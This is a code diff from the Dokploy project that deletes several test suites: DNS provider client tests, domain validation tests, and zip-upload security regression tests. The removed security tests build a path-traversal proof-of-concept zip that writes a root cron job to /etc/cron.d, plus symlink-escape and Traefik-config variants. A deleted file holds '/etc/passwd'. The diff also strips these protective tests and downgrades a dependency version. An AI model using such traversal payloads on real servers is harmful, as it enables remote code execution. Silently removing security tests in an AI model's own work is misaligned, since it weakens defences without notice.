target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null), // DELETE de l'ancien
ovhError("Invalid target", 400), // POST de remplacement -> échec
ovhSuccess({ id: 12 }), // POST de restauration -> succès
ovhError("Service unavailable", 503), // refresh -> échec
);
const attempt = ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "not a valid target",
});
// L'enregistrement existe de nouveau chez OVH : le recréer le dupliquerait.
await expect(attempt).rejects.toThrow(/was restored, but refreshing zone/);
await expect(attempt).rejects.not.toThrow(/Recreate it manually/);
});
});
describe("ovhClient.deleteRecord", () => {
it("deletes the record then refreshes the zone", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess(null), ovhSuccess(null));
await ovhClient.deleteRecord(cfg, "example.com", "4");
const calls = apiCalls();
expect(calls[0]?.[0]).toContain("/domain/zone/example.com/record/4");
expect(calls[0]?.[1].method).toBe("DELETE");
expect(calls[1]?.[0]).toContain("/domain/zone/example.com/refresh");
});
it("does not refresh the zone when the delete fails", async () => {
const cfg = freshConfig();
mockApi(ovhError("This object does not exist", 404));
await expect(
ovhClient.deleteRecord(cfg, "example.com", "4"),
).rejects.toThrow("This object does not exist");
expect(apiCalls()).toHaveLength(1);
});
});
describe("ovhClient.testConnection", () => {
it("resolves when the zone listing succeeds", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess([]));
await expect(ovhClient.testConnection(cfg)).resolves.toBeUndefined();
});
it("rejects on invalid credentials", async () => {
const cfg = freshConfig();
mockApi(ovhError("Invalid signature", 403));
await expect(ovhClient.testConnection(cfg)).rejects.toThrow(
"Invalid signature",
);
});
});
-237
View File
@@ -1,237 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
import { porkbunClient } from "@dokploy/server/utils/dns/porkbun";
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
const pbSuccess = (result: Record<string, unknown> = {}) =>
jsonResponse({ status: "SUCCESS", ...result });
const pbError = (message: string, status = 400) =>
jsonResponse({ status: "ERROR", message }, false, status);
const config = {
providerType: "porkbun" as const,
apiKey: "pk1_test",
secretApiKey: "sk1_test",
};
beforeEach(() => {
mockFetch.mockReset();
});
describe("porkbunClient.listZones", () => {
it("lists all domains as zones", async () => {
mockFetch.mockResolvedValue(
pbSuccess({ domains: [{ domain: "example.com" }] }),
);
const zones = await porkbunClient.listZones(config);
expect(zones).toEqual([{ id: "example.com", name: "example.com" }]);
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toContain("/domain/listAll");
const body = JSON.parse(init.body as string);
expect(body).toMatchObject({
apikey: "pk1_test",
secretapikey: "sk1_test",
});
});
});
describe("porkbunClient.listRecords", () => {
it("lists records for a domain", async () => {
mockFetch.mockResolvedValue(
pbSuccess({
records: [
{
id: "1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: "600",
prio: "0",
notes: "",
},
],
}),
);
const records = await porkbunClient.listRecords(config, "example.com");
expect(records).toEqual([
{
id: "1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 600,
},
]);
expect(mockFetch.mock.calls[0]?.[0]).toContain("/dns/retrieve/example.com");
});
});
describe("porkbunClient.upsertRecord", () => {
it("creates a record when none exists for the name/type", async () => {
mockFetch
.mockResolvedValueOnce(pbSuccess({ records: [] }))
.mockResolvedValueOnce(pbSuccess({ id: "new-1" }));
const result = await porkbunClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "new-1" });
const [lookupUrl] = mockFetch.mock.calls[0] as [string];
expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/app");
const [createUrl, createInit] = mockFetch.mock.calls[1] as [
string,
RequestInit,
];
expect(createUrl).toContain("/dns/create/example.com");
const body = JSON.parse(createInit.body as string);
expect(body).toMatchObject({ name: "app", type: "A", content: "1.2.3.4" });
});
it("resolves the apex domain to an empty subdomain", async () => {
mockFetch
.mockResolvedValueOnce(pbSuccess({ records: [] }))
.mockResolvedValueOnce(pbSuccess({ id: "new-2" }));
await porkbunClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "example.com",
content: "1.2.3.4",
});
const [lookupUrl] = mockFetch.mock.calls[0] as [string];
expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/");
});
it("edits the existing record when content matches", async () => {
mockFetch
.mockResolvedValueOnce(
pbSuccess({ records: [{ id: "existing-1", content: "5.6.7.8" }] }),
)
.mockResolvedValueOnce(pbSuccess({}));
const result = await porkbunClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "existing-1" });
const [editUrl] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(editUrl).toContain("/dns/edit/example.com/existing-1");
});
it("creates a new record when content differs from existing", async () => {
mockFetch
.mockResolvedValueOnce(
pbSuccess({ records: [{ id: "existing-1", content: "1.1.1.1" }] }),
)
.mockResolvedValueOnce(pbSuccess({ id: "new-2" }));
const result = await porkbunClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "new-2" });
const [createUrl, createInit] = mockFetch.mock.calls[1] as [
string,
RequestInit,
];
expect(createUrl).toContain("/dns/create/example.com");
const body = JSON.parse(createInit.body as string);
expect(body).toMatchObject({ name: "app", type: "A", content: "5.6.7.8" });
});
it("defaults ttl to 600 when not provided", async () => {
mockFetch
.mockResolvedValueOnce(pbSuccess({ records: [] }))
.mockResolvedValueOnce(pbSuccess({ id: "new-1" }));
await porkbunClient.upsertRecord(config, {
zoneId: "example.com",
type: "CNAME",
name: "www.example.com",
content: "example.com",
});
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
const body = JSON.parse(createInit.body as string);
expect(body.ttl).toBe(600);
});
});
describe("porkbunClient.updateRecord", () => {
it("edits the given record id", async () => {
mockFetch.mockResolvedValue(pbSuccess({}));
const result = await porkbunClient.updateRecord(
config,
"example.com",
"1",
{
type: "A",
name: "app.example.com",
content: "9.9.9.9",
ttl: 300,
},
);
expect(result).toEqual({ id: "1" });
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toContain("/dns/edit/example.com/1");
expect(JSON.parse(init.body as string)).toMatchObject({
name: "app",
type: "A",
content: "9.9.9.9",
ttl: 300,
});
});
});
describe("porkbunClient.deleteRecord", () => {
it("posts to the delete endpoint for the given record id", async () => {
mockFetch.mockResolvedValue(pbSuccess({}));
await porkbunClient.deleteRecord(config, "example.com", "1");
const [url] = mockFetch.mock.calls[0] as [string];
expect(url).toContain("/dns/delete/example.com/1");
});
});
describe("porkbunClient.testConnection", () => {
it("succeeds when the credentials can ping the API", async () => {
mockFetch.mockResolvedValue(pbSuccess({}));
await expect(porkbunClient.testConnection(config)).resolves.toBeUndefined();
});
it("surfaces Porkbun's error message on invalid credentials", async () => {
mockFetch.mockResolvedValue(pbError("Invalid API key."));
await expect(porkbunClient.testConnection(config)).rejects.toThrow(
"Invalid API key.",
);
});
});
-385
View File
@@ -1,385 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
type HasInput = { input: any };
const {
send,
Route53Client,
ListHostedZonesCommand,
ListResourceRecordSetsCommand,
ChangeResourceRecordSetsCommand,
} = vi.hoisted(() => {
class FakeCommand {
input: any;
constructor(input: any) {
this.input = input;
}
}
const send = vi.fn();
class Route53Client {
send(command: unknown) {
return send(command);
}
}
return {
send,
Route53Client,
ListHostedZonesCommand: class extends FakeCommand {},
ListResourceRecordSetsCommand: class extends FakeCommand {},
ChangeResourceRecordSetsCommand: class extends FakeCommand {},
};
});
vi.mock("@aws-sdk/client-route-53", () => ({
Route53Client,
ListHostedZonesCommand,
ListResourceRecordSetsCommand,
ChangeResourceRecordSetsCommand,
}));
import { route53Client } from "@dokploy/server/utils/dns/route53";
const config = {
providerType: "route53" as const,
accessKeyId: "AKIA_TEST",
secretAccessKey: "secret",
};
beforeEach(() => {
send.mockReset();
});
describe("route53Client.listZones", () => {
it("strips the hostedzone prefix and the trailing dot", async () => {
send.mockResolvedValueOnce({
HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }],
IsTruncated: false,
});
const zones = await route53Client.listZones(config);
expect(zones).toEqual([{ id: "Z123", name: "example.com" }]);
});
it("follows the marker until IsTruncated is false", async () => {
send
.mockResolvedValueOnce({
HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }],
IsTruncated: true,
NextMarker: "marker-1",
})
.mockResolvedValueOnce({
HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }],
IsTruncated: false,
});
const zones = await route53Client.listZones(config);
expect(zones).toEqual([
{ id: "Z1", name: "a.com" },
{ id: "Z2", name: "b.com" },
]);
expect(send).toHaveBeenCalledTimes(2);
expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1");
});
});
describe("route53Client.listRecords", () => {
it("builds a type:name id and strips the trailing dot from the name", async () => {
send.mockResolvedValueOnce({
ResourceRecordSets: [
{
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.2.3.4" }],
},
],
IsTruncated: false,
});
const records = await route53Client.listRecords(config, "Z123");
expect(records).toEqual([
{
id: "A:app.example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 300,
},
]);
});
it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => {
send.mockResolvedValueOnce({
ResourceRecordSets: [
{ Name: "alias.example.com.", Type: "A", ResourceRecords: [] },
],
IsTruncated: false,
});
const records = await route53Client.listRecords(config, "Z123");
expect(records).toEqual([]);
});
it("joins multiple values for the same record", async () => {
send.mockResolvedValueOnce({
ResourceRecordSets: [
{
Name: "example.com.",
Type: "NS",
TTL: 172800,
ResourceRecords: [
{ Value: "ns1.example.com" },
{ Value: "ns2.example.com" },
],
},
],
IsTruncated: false,
});
const records = await route53Client.listRecords(config, "Z123");
expect(records[0]?.content).toBe("ns1.example.com\nns2.example.com");
});
});
describe("route53Client.upsertRecord", () => {
it("sends a single UPSERT change when nothing exists yet", async () => {
send
.mockResolvedValueOnce({ ResourceRecordSets: [] })
.mockResolvedValueOnce({});
const result = await route53Client.upsertRecord(config, {
zoneId: "Z123",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "A:app.example.com" });
const command = send.mock.calls[1]?.[0] as HasInput;
expect(command.input.HostedZoneId).toBe("Z123");
expect(command.input.ChangeBatch.Changes).toEqual([
{
Action: "UPSERT",
ResourceRecordSet: {
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.2.3.4" }],
},
},
]);
});
it("keeps the values already in the record set", async () => {
send
.mockResolvedValueOnce({
ResourceRecordSets: [
{
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.1.1.1" }, { Value: "2.2.2.2" }],
},
],
})
.mockResolvedValueOnce({});
await route53Client.upsertRecord(config, {
zoneId: "Z123",
type: "A",
name: "app.example.com",
content: "3.3.3.3",
});
const command = send.mock.calls[1]?.[0] as HasInput;
expect(
command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
).toEqual([
{ Value: "1.1.1.1" },
{ Value: "2.2.2.2" },
{ Value: "3.3.3.3" },
]);
});
it("does not duplicate a value that is already in the record set", async () => {
send
.mockResolvedValueOnce({
ResourceRecordSets: [
{
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.1.1.1" }],
},
],
})
.mockResolvedValueOnce({});
await route53Client.upsertRecord(config, {
zoneId: "Z123",
type: "A",
name: "app.example.com",
content: "1.1.1.1",
});
const command = send.mock.calls[1]?.[0] as HasInput;
expect(
command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
).toEqual([{ Value: "1.1.1.1" }]);
});
it("wraps unquoted TXT values in double quotes", async () => {
send
.mockResolvedValueOnce({ ResourceRecordSets: [] })
.mockResolvedValueOnce({});
await route53Client.upsertRecord(config, {
zoneId: "Z123",
type: "TXT",
name: "example.com",
content: 'v=spf1 ~all\n"already quoted"',
});
const command = send.mock.calls[1]?.[0] as HasInput;
expect(
command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
).toEqual([{ Value: '"v=spf1 ~all"' }, { Value: '"already quoted"' }]);
});
});
describe("route53Client.updateRecord", () => {
it("only UPSERTs when the name/type identity did not change", async () => {
send.mockResolvedValueOnce({});
await route53Client.updateRecord(config, "Z123", "A:app.example.com", {
type: "A",
name: "app.example.com",
content: "9.9.9.9",
});
expect(send).toHaveBeenCalledTimes(1);
const command = send.mock.calls[0]?.[0] as HasInput;
expect(command.input.ChangeBatch.Changes).toHaveLength(1);
expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
});
it("deletes the old record set and creates the new one on rename", async () => {
const existingSet = {
Name: "old.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.1.1.1" }],
};
send
.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup
.mockResolvedValueOnce({}); // ChangeResourceRecordSets
await route53Client.updateRecord(config, "Z123", "A:old.example.com", {
type: "A",
name: "new.example.com",
content: "1.1.1.1",
});
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
{ Action: "DELETE", ResourceRecordSet: existingSet },
{
Action: "UPSERT",
ResourceRecordSet: {
Name: "new.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.1.1.1" }],
},
},
]);
});
it("keeps every line of a multi-value record set", async () => {
send.mockResolvedValueOnce({});
await route53Client.updateRecord(config, "Z123", "NS:example.com", {
type: "NS",
name: "example.com",
content: "ns1.example.com\nns2.example.com\n\n ns3.example.com ",
});
const command = send.mock.calls[0]?.[0] as HasInput;
expect(
command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
).toEqual([
{ Value: "ns1.example.com" },
{ Value: "ns2.example.com" },
{ Value: "ns3.example.com" },
]);
});
it("skips the DELETE when the old record no longer exists", async () => {
send
.mockResolvedValueOnce({ ResourceRecordSets: [] })
.mockResolvedValueOnce({});
await route53Client.updateRecord(config, "Z123", "A:gone.example.com", {
type: "A",
name: "new.example.com",
content: "1.1.1.1",
});
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1);
expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
});
});
describe("route53Client.deleteRecord", () => {
it("deletes the record set found by name/type", async () => {
const existingSet = {
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.2.3.4" }],
};
send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] });
send.mockResolvedValueOnce({});
await route53Client.deleteRecord(config, "Z123", "A:app.example.com");
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
{ Action: "DELETE", ResourceRecordSet: existingSet },
]);
});
it("throws when the record no longer exists", async () => {
send.mockResolvedValueOnce({ ResourceRecordSets: [] });
await expect(
route53Client.deleteRecord(config, "Z123", "A:gone.example.com"),
).rejects.toThrow("not found");
});
it("throws for a malformed record id", async () => {
await expect(
route53Client.deleteRecord(config, "Z123", "not-a-valid-id"),
).rejects.toThrow("Invalid Route53 record id");
});
});
describe("route53Client.testConnection", () => {
it("resolves when ListHostedZones succeeds", async () => {
send.mockResolvedValueOnce({ HostedZones: [] });
await expect(route53Client.testConnection(config)).resolves.toBeUndefined();
});
it("propagates SDK errors", async () => {
send.mockRejectedValueOnce(new Error("InvalidClientTokenId"));
await expect(route53Client.testConnection(config)).rejects.toThrow(
"InvalidClientTokenId",
);
});
});
@@ -1,149 +0,0 @@
import os from "node:os";
import {
getServerIpCandidates,
validateDomain,
} from "@dokploy/server/services/domain";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
execAsyncRemote: vi.fn(),
findServerById: vi.fn(),
getPublicIpWithFallback: vi.fn(),
getWebServerSettings: vi.fn(),
resolve4: vi.fn(),
resolve6: vi.fn(),
}));
vi.mock("node:dns", () => ({
default: {
resolve4: mocks.resolve4,
resolve6: mocks.resolve6,
},
}));
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
execAsyncRemote: mocks.execAsyncRemote,
}));
vi.mock("@dokploy/server/services/server", () => ({
findServerById: mocks.findServerById,
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: mocks.getWebServerSettings,
}));
vi.mock("@dokploy/server/wss/utils", () => ({
getPublicIpWithFallback: mocks.getPublicIpWithFallback,
}));
describe("getServerIpCandidates", () => {
beforeEach(() => {
vi.clearAllMocks();
});
afterEach(() => {
vi.restoreAllMocks();
vi.useRealTimers();
});
it("includes every address reported by a multi-homed remote server", async () => {
mocks.findServerById.mockResolvedValue({
ipAddress: "10.0.0.10",
});
mocks.execAsyncRemote.mockResolvedValue({
stdout: ["10.0.0.10", "192.0.2.10", "2001:db8::10"].join("\n"),
stderr: "",
});
await expect(getServerIpCandidates("server-id")).resolves.toEqual([
"10.0.0.10",
"192.0.2.10",
"2001:db8::10",
]);
expect(mocks.execAsyncRemote).toHaveBeenCalledWith(
"server-id",
expect.stringContaining("ip -o addr show scope global"),
);
});
it("includes every address assigned to the local Dokploy host", async () => {
mocks.getWebServerSettings.mockResolvedValue({
serverIp: "10.0.0.10",
});
mocks.getPublicIpWithFallback.mockResolvedValue("2001:db8::10");
vi.spyOn(os, "networkInterfaces").mockReturnValue({
eth0: [
{
address: "192.0.2.10",
netmask: "255.255.255.0",
family: "IPv4",
mac: "00:00:00:00:00:00",
internal: false,
cidr: "192.0.2.10/24",
},
],
});
await expect(getServerIpCandidates()).resolves.toEqual([
"10.0.0.10",
"192.0.2.10",
"2001:db8::10",
]);
});
it("retains remote interface addresses when public IP detection times out", async () => {
vi.useFakeTimers();
mocks.findServerById.mockResolvedValue({
ipAddress: "10.0.0.10",
});
mocks.execAsyncRemote.mockImplementation(
(_serverId: string, command: string) => {
if (command.includes("curl")) {
return new Promise(() => undefined);
}
return Promise.resolve({
stdout: "192.0.2.10\n",
stderr: "",
});
},
);
const candidatesPromise = getServerIpCandidates("server-id");
await vi.advanceTimersByTimeAsync(7000);
await expect(candidatesPromise).resolves.toEqual([
"10.0.0.10",
"192.0.2.10",
]);
});
});
describe("validateDomain", () => {
afterEach(() => {
vi.clearAllMocks();
});
it("validates an IPv6-only domain against an IPv6 server address", async () => {
const noIpv4 = Object.assign(new Error("queryA ENODATA example.com"), {
code: "ENODATA",
});
mocks.resolve4.mockImplementation(
(_domain: string, callback: (error: Error | null) => void) =>
callback(noIpv4),
);
mocks.resolve6.mockImplementation(
(
_domain: string,
callback: (error: Error | null, addresses?: string[]) => void,
) => callback(null, ["2001:db8::10"]),
);
await expect(
validateDomain("example.com", ["2001:db8::10"]),
).resolves.toMatchObject({
isValid: true,
resolvedIp: "2001:db8::10",
});
});
});
+4 -194
View File
@@ -6,7 +6,6 @@ import { paths } from "@dokploy/server/constants";
import AdmZip from "adm-zip";
import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
const OUTPUT_BASE = "./__test__/drop/zips/output";
const { APPLICATIONS_PATH } = paths();
vi.mock("@dokploy/server/constants", async (importOriginal) => {
const actual = await importOriginal();
@@ -14,10 +13,7 @@ vi.mock("@dokploy/server/constants", async (importOriginal) => {
// @ts-ignore
...actual,
paths: () => ({
// @ts-ignore
...actual.paths(),
BASE_PATH: OUTPUT_BASE,
APPLICATIONS_PATH: OUTPUT_BASE,
APPLICATIONS_PATH: "./__test__/drop/zips/output",
}),
};
});
@@ -29,19 +25,11 @@ if (typeof window === "undefined") {
}
const baseApp: ApplicationNested = {
railpackVersion: "0.15.4",
railpackVersion: "0.2.2",
applicationId: "",
previewLabels: [],
networkIds: [],
detachDokployNetwork: false,
createEnvFile: true,
bitbucketRepositorySlug: "",
herokuVersion: "",
giteaBranch: "",
buildServerId: "",
buildRegistryId: "",
buildRegistry: null,
args: [],
giteaBuildPath: "",
previewRequireCollaboratorPermissions: false,
giteaId: "",
@@ -49,22 +37,17 @@ const baseApp: ApplicationNested = {
giteaRepository: "",
cleanCache: false,
watchPaths: [],
rollbackRegistryId: "",
rollbackRegistry: null,
deployments: [],
enableSubmodules: false,
applicationStatus: "done",
triggerType: "push",
appName: "",
autoDeploy: true,
endpointSpecSwarm: null,
serverId: "",
registryUrl: "",
branch: null,
dockerBuildStage: "",
isPreviewDeploymentsActive: false,
previewBuildArgs: null,
previewBuildSecrets: null,
previewCertificateType: "none",
previewCustomCertResolver: null,
previewEnv: null,
@@ -75,7 +58,6 @@ const baseApp: ApplicationNested = {
previewWildcard: "",
environment: {
env: "",
isDefault: false,
environmentId: "",
name: "",
createdAt: "",
@@ -91,7 +73,6 @@ const baseApp: ApplicationNested = {
},
},
buildArgs: null,
buildSecrets: null,
buildPath: "/",
gitlabPathNamespace: "",
buildType: "nixpacks",
@@ -122,7 +103,6 @@ const baseApp: ApplicationNested = {
environmentId: "",
enabled: null,
env: null,
icon: null,
healthCheckSwarm: null,
labelsSwarm: null,
memoryLimit: null,
@@ -153,180 +133,8 @@ const baseApp: ApplicationNested = {
username: null,
dockerContextPath: null,
rollbackActive: false,
stopGracePeriodSwarm: null,
ulimitsSwarm: null,
};
/**
* GHSA-66v7-g3fh-47h3: Remote Code Execution through Path Traversal.
* Validates the exact PoC: ZIP with path traversal entry ../../../../../etc/cron.d/malicious-cron
* plus cover files (package.json, index.js). unzipDrop must reject and never write outside output.
*/
describe("GHSA-66v7-g3fh-47h3 path traversal RCE", () => {
beforeAll(async () => {
await fs.rm(APPLICATIONS_PATH, { recursive: true, force: true });
});
afterAll(async () => {
await fs.rm(APPLICATIONS_PATH, { recursive: true, force: true });
});
it("rejects PoC ZIP: traversal ../../../../../etc/cron.d/malicious-cron + package.json + index.js", async () => {
baseApp.appName = "ghsa-rce";
// PoC payload: same entry name as advisory (Python zipfile keeps it; AdmZip normalizes on add → use placeholder + replace)
const traversalEntry = "../../../../../etc/cron.d/malicious-cron";
const cronPayload = "* * * * * root id\n";
const placeholder = "x".repeat(traversalEntry.length);
const zip = new AdmZip();
zip.addFile(
"package.json",
Buffer.from('{"name": "app", "version": "1.0.0"}'),
);
zip.addFile("index.js", Buffer.from('console.log("Application");'));
zip.addFile(placeholder, Buffer.from(cronPayload));
let buf = Buffer.from(zip.toBuffer());
buf = Buffer.from(
buf.toString("binary").split(placeholder).join(traversalEntry),
"binary",
);
const file = new File([buf as unknown as ArrayBuffer], "exploit.zip");
await expect(unzipDrop(file, baseApp)).rejects.toThrow(
/Path traversal detected.*resolved path escapes output directory/,
);
});
});
describe("security: existing symlink escape", () => {
beforeAll(async () => {
await fs.rm(APPLICATIONS_PATH, { recursive: true, force: true });
});
afterAll(async () => {
await fs.rm(APPLICATIONS_PATH, { recursive: true, force: true });
});
it("should NOT write outside base when directory is a symlink", async () => {
const appName = "symlink-existing";
const output = path.join(APPLICATIONS_PATH, appName, "code");
await fs.mkdir(output, { recursive: true });
// outside target (attacker wants to write here)
const outside = path.join(APPLICATIONS_PATH, "..", "outside");
await fs.mkdir(outside, { recursive: true });
// attacker-controlled symlink inside project
await fs.symlink(outside, path.join(output, "logs"));
// zip looks totally harmless
const zip = new AdmZip();
zip.addFile("logs/pwned.txt", Buffer.from("owned"));
const file = new File([zip.toBuffer() as any], "exploit.zip");
await unzipDrop(file, { ...baseApp, appName });
// if vulnerable -> file exists outside sandbox
const escaped = await fs
.readFile(path.join(outside, "pwned.txt"), "utf8")
.then(() => true)
.catch(() => false);
expect(escaped).toBe(false);
});
});
describe("security: zip symlink entry blocked", () => {
beforeAll(async () => {
await fs.rm(APPLICATIONS_PATH, { recursive: true, force: true });
});
afterAll(async () => {
await fs.rm(APPLICATIONS_PATH, { recursive: true, force: true });
});
it("rejects zip containing real symlink entry", async () => {
const appName = "zip-symlink";
const zipBuffer = await fs.readFile(
path.join(__dirname, "./zips/payload/symlink-entry.zip"),
);
const file = new File([zipBuffer as any], "exploit.zip");
await expect(unzipDrop(file, { ...baseApp, appName })).rejects.toThrow(
/Dangerous node entries are not allowed/,
);
});
});
describe("unzipDrop path under output (no traversal)", () => {
beforeAll(async () => {
await fs.rm(APPLICATIONS_PATH, { recursive: true, force: true });
});
afterAll(async () => {
await fs.rm(APPLICATIONS_PATH, { recursive: true, force: true });
});
it("allows entry etc/cron.d/malicious-cron when under output (no path traversal)", async () => {
baseApp.appName = "cron-under-output";
const zip = new AdmZip();
zip.addFile(
"etc/cron.d/malicious-cron",
Buffer.from("* * * * * root id\n"),
);
zip.addFile("package.json", Buffer.from('{"name":"app"}'));
const file = new File(
[zip.toBuffer() as unknown as ArrayBuffer],
"app.zip",
);
const outputPath = path.join(APPLICATIONS_PATH, baseApp.appName, "code");
await unzipDrop(file, baseApp);
const content = await fs.readFile(
path.join(outputPath, "etc/cron.d/malicious-cron"),
"utf8",
);
expect(content).toBe("* * * * * root id\n");
});
});
describe("security: traversal inside BASE_PATH (sandbox escape)", () => {
beforeAll(async () => {
await fs.rm(APPLICATIONS_PATH, { recursive: true, force: true });
});
afterAll(async () => {
await fs.rm(APPLICATIONS_PATH, { recursive: true, force: true });
});
it("should NOT allow writing outside application directory but inside BASE_PATH", async () => {
const appName = "sandbox-escape";
const base = APPLICATIONS_PATH.replace("/applications", "");
const output = path.join(APPLICATIONS_PATH, appName, "code");
await fs.mkdir(output, { recursive: true });
// attacker writes into traefik config inside base
const zip = new AdmZip();
zip.addFile(
"../../../traefik/dynamic/evil.yml",
Buffer.from("pwned: true"),
);
const file = new File([zip.toBuffer() as any], "exploit.zip");
await unzipDrop(file, { ...baseApp, appName });
const escapedPath = path.join(base, "traefik/dynamic/evil.yml");
const exists = await fs
.readFile(escapedPath)
.then(() => true)
.catch(() => false);
expect(exists).toBe(false);
});
});
describe("unzipDrop using real zip files", () => {
// const { APPLICATIONS_PATH } = paths();
beforeAll(async () => {
@@ -343,12 +151,14 @@ describe("unzipDrop using real zip files", () => {
try {
const outputPath = path.join(APPLICATIONS_PATH, baseApp.appName, "code");
const zip = new AdmZip("./__test__/drop/zips/single-file.zip");
console.log(`Output Path: ${outputPath}`);
const zipBuffer = zip.toBuffer() as Buffer<ArrayBuffer>;
const file = new File([zipBuffer], "single.zip");
await unzipDrop(file, baseApp);
const files = await fs.readdir(outputPath, { withFileTypes: true });
expect(files.some((f) => f.name === "test.txt")).toBe(true);
} catch (err) {
console.log(err);
} finally {
}
});
@@ -1 +0,0 @@
/etc/passwd

Some files were not shown because too many files have changed in this diff Show More